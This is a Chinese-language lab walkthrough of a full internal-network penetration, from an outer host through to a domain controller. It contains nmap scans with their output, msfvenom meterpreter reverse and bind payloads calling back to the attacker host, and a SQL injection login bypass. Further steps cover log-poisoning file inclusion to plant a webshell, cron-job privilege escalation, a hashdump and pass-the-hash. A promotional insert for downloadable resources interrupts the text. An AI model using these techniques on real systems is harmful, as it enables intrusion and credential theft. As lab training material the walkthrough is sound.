0x00 前言
一個完整的內(nèi)網(wǎng)滲透過程。
0x01 案例分析
實驗環(huán)境:
- 目標環(huán)境:10.0.0.0/24, 10.0.1.0/24
- 攻擊主機:10.0.0.5 (Kali), 10.0.0.7 (windows)
滲透過程:
基本的主機探測:
root@kali:~# nmap -sn 10.0.0.0/24 -oG online.txt
root@kali:~# cat online.txt | grep -i up
Host: 10.0.0.1 () Status: Up
Host: 10.0.0.2 () Status: Up
Host: 10.0.0.7 () Status: Up
Host: 10.0.0.9 () Status: Up
Host: 10.0.0.11 () Status: Up
Host: 10.0.0.5 () Status: Up
# Nmap done at Wed May 30 06:10:17 2018 -- 256 IP addresses (6 hosts up) scanned in 1.83 seconds
任意選取其中的一個online的IP(如:10.0.0.9)進一步探測:
root@kali:~# nmap -sV -A -O 10.0.0.9
Starting Nmap 7.60 ( https://nmap.org ) at 2018-05-30 06:12 UTC
Nmap scan report for 10.0.0.9
Host is up (0.00048s latency).
Not shown: 990 closed ports
PORT STATE SERVICE VERSION
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbIOS-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Windows Server 2008 R2 Datacenter 7601 Service Pack 1 microsoft-ds
3389/tcp open ms-wbt-server Microsoft Terminal Service
| ssl-cert: Subject: commonName=Monitor
| Not valid before: 2018-05-27T07:03:14
|_Not valid after: 2018-11-26T07:03:14
|_ssl-date: 2018-05-30T06:14:01+00:00; +5s from scanner time.
49152/tcp open msrpc Microsoft Windows RPC
49153/tcp open msrpc Microsoft Windows RPC
49154/tcp open msrpc Microsoft Windows RPC
49158/tcp open msrpc Microsoft Windows RPC
49159/tcp open msrpc Microsoft Windows RPC
49165/tcp open msrpc Microsoft Windows RPC
mac Address: 0A:14:2C:84:E9:D2 (Unknown)
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
...
Network Distance: 1 hop
Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: mean: 4s, deviation: 0s, median: 4s
|_nbstat: NetBIOS name: MONITOR, NetBIOS user: <unknown>, NetBIOS MAC: 0a:14:2c:84:e9:d2 (unknown)
| smb-os-discovery:
| OS: Windows Server 2008 R2 Datacenter 7601 Service Pack 1 (Windows Server 2008 R2 Datacenter 6.1)
| OS CPE: cpe:/o:microsoft:windows_server_2008::sp1
| Computer name: Monitor
| NetBIOS computer name: MONITORx00
| Workgroup: WORKGROUPx00
|_ System time: 2018-05-30T06:14:01+00:00
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| smb2-security-mode:
| 2.02:
|_ Message signing enabled but not required
| smb2-time:
| date: 2018-05-30 06:14:01
|_ start_date: 2018-05-30 04:32:09
從以上探測結(jié)果可以發(fā)現(xiàn)該主機是Windows 2008 R2且開放了SMB和RDP,繼續(xù)探測.
此時,我們發(fā)現(xiàn)該主機存在一個可讀寫的share folder 10.0.0.9share:
root@kali:~# smbclient //10.0.0.9/share -N
WARNING: The "syslog" option is deprecated
Try "help" to get a list of possible commands.
smb: > ls
. D 0 Wed May 30 06:16:59 2018
.. D 0 Wed May 30 06:16:59 2018
logs.txt A 39404 Wed May 30 06:19:20 2018
processMonitor.py A 576 Mon May 28 06:56:33 2018
7863807 blocks of size 4096. 1680653 blocks available
smb:
為了進一步了解,登錄我們用于滲透的另一臺Windows主機(10.0.0.7)。
【一>所有資源關(guān)注我,私信回復“資料”獲取<一】
1、很多已經(jīng)買不到的絕版電子書
2、安全大廠內(nèi)部的培訓資料
3、全套工具包
4、100份src源碼技術(shù)文檔
5、網(wǎng)絡安全基礎(chǔ)入門、linux、web安全、攻防方面的視頻
6、應急響應筆記 7、 網(wǎng)絡安全學習路線
8、ctf奪旗賽解析
9、WEB安全入門筆記
發(fā)現(xiàn),這個共享文件夾里包含了一個定期監(jiān)控運行進程的Python腳本。
[外鏈圖片轉(zhuǎn)存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(
img-tz51vlui-1651236284775)(https://upload-images.jianshu.io/upload_images/26472780-f21373da4281a975.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)]
由于該文件夾可讀寫,我們可以生成并放置一個meterpreter的payload,然后修改該python腳本來執(zhí)行它,這樣我們就可以得到一個meterpreter session了。
root@kali:/var/www/html# msfvenom -p windows/x64/meterpreter/reverse_tcp LPORT=4444 LHOST=10.0.0.5 -f exe > s.exe
修改python腳本如下:
幾分鐘后,我們順利地獲得了一個meterpreter session了。
同時,可以看出這個機器具有多個網(wǎng)卡且橫跨在2個網(wǎng)段中(10.0.0.9/24和10.0.1.9/24)。因此,我們也可以利用這個機器做跳板繼續(xù)滲透10.0.1.0/24這段里的機器。
利用
auxiliary/scanner/portscan/tcp去掃描10.0.1.0/24段,如下:
我們?nèi)我膺x取其中的一臺機器(如:10.0.1.11),我們發(fā)現(xiàn)其開放了80和22端口。接下來,我們可以在session 2里設置端口轉(zhuǎn)發(fā),將攻擊機(10.0.0.5)上的8080端口轉(zhuǎn)發(fā)到目標機(10.0.1.7)上的80端口,方便我們后續(xù)的測試。
這時,我們再次登錄我們的Windows滲透機器(10.0.0.7)來查看一下這是個什么網(wǎng)站。
經(jīng)過測試發(fā)現(xiàn),這個登錄功能存在SQL Injection,可以通過以下的用戶名和密碼登錄:
username: admin
password: ’ or ‘1’='1
經(jīng)過觀察發(fā)現(xiàn),這個網(wǎng)站應該直接本地文件包含了web服務器的access_log,因此我們可以想到利用文件包含漏洞來生成一個webshell,具體步驟如下:
1. 發(fā)送一個包含webshell代碼的HTTP請求使其被寫入到access_log里, 如一個僅包含上傳功能的php小馬
2. 訪問
http://10.0.0.5:8080/admin.php來文件包含access_log使其中的php代碼被執(zhí)行,從獲取一個具備上傳功能的php小馬
3. 訪問
http://10.0.0.5:8080/upload.php并上傳一個功能齊全的PHP webshell
4. 訪問
http://10.0.0.5:8080/shell.php并輸入密碼qwer,則成功地獲取了一個webshell
利用webshell提供的功能我們發(fā)現(xiàn)這只是一個用于運行web service的低權(quán)限的用戶(daemon),那么接下來我們需要解決的問題就是本地提權(quán)到root權(quán)限。
如上圖,我們找到了一個777權(quán)限的root用戶所擁有的cronjob文件
/etc/cron.hourly/clean_up_access_log??雌饋磉@個腳本似乎是用于定期清理access_log的。因此,我們似乎可以利用它來獲得一個root權(quán)限的meterpreter shell。
首先,生成一個Linux的meterpreter payload并通過webshell上傳到目標主機上并添加執(zhí)行權(quán)限;
root@kali:~# msfvenom -p linux/x64/meterpreter/bind_tcp LPORT=4444 -f elf > root.elf
system(‘chmod +x /opt/lampp/htdocs/root.elf’);
接著,修改
/etc/cron.hourly/clean_up_access_log使其可以執(zhí)行我們上傳的payload并等待cronjob的下次執(zhí)行;
利用上面獲得的root權(quán)限的meterpreter session,我意外的發(fā)現(xiàn)了一個有趣的文件/root/readme.txt,其中包含了一個遠程FTP(10.0.1.26)的口令和密碼。
cat /root/readme.txt
Credentials for FTP:IP: 10.0.1.26 User: ftpadmin Password: nKG6aqwvveFutn$@
既然拿到了這個信息,我們不妨再次探測一下我們的下一個目標(10.0.1.26)。
果不其然,目標機(10.0.1.26)確實存在一個FTP站點。進入上面獲得的session 2,在目標機10.0.0.9(10.0.1.9)上添加一個管理員賬號:
接著RDP到目標主機10.0.0.9(10.0.1.9)上,并嘗試使用已經(jīng)獲取的口令登錄。
結(jié)果顯示,我們成功地登錄了該FTP站點,且具備讀寫權(quán)限。另外,我們還發(fā)現(xiàn)該FTP為目標機10.0.1.26上的一個web站點的根目錄。因此,我們可以通過該FTP輕松地上傳一個webshell.php文件,如下:
有了webshell我們便可以上傳一個meterpreter payload來獲取一個功能強大的meterpreter session了。
那么接下來,我們的下一個目標就是IP為10.0.1.7的域控服務器了。
經(jīng)過一系列測試,發(fā)現(xiàn)目標機似乎只接受來自IP10.0.1.26(Session 5)的流量,因此我們需要先添加一個專門的路由使我們的攻擊機(10.0.0.5)流量可以抵達目標主機(10.0.1.7)。
[外鏈圖片轉(zhuǎn)存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(
img-r8nazMWD-1651236284840)(https://upload-images.jianshu.io/upload_images/26472780-d240f683a1317cea.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)]
首先,搜集利用hashdump命令收集一下主機10.0.1.26的所有密碼Hash:
接著,我們可以嘗試使用Pass The Hash來測試一下我們的目標機(10.0.1.7),并成功地拿下了該域控服務器。
至此,我們已經(jīng)成功地拿下了所有實驗環(huán)境下的主機控制權(quán)限。
msf exploit(psexec) > sessions
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
2 meterpreter x64/windows MONITORAdministrator @ MONITOR 10.0.0.5:4444 -> 10.0.0.9:51800 (10.0.0.9)
4 meterpreter x64/linux uid=0, gid=0, euid=0, egid=0 @ 10.0.1.11 10.0.0.5-10.0.0.9:0 -> 10.0.1.11:4444 (10.0.1.11)
5 meterpreter x64/windows NT AUTHORITYSYSTEM @ IT-MANAGE-PC 10.0.0.5-10.0.0.9:0 -> 10.0.1.26:4444 (10.0.1.26)
6 meterpreter x64/windows NT AUTHORITYSYSTEM @ DC 10.0.0.5-_1_-10.0.0.9:0 -> 10.0.1.7:4444 (10.0.1.7)
0x02 小結(jié)
本文重點介紹了一個相對完整的內(nèi)網(wǎng)滲透過程(即:外網(wǎng)主機-內(nèi)網(wǎng)主機-內(nèi)網(wǎng)域內(nèi)主機-內(nèi)網(wǎng)域控服務器)。基本思路和方法都是類似和想通的。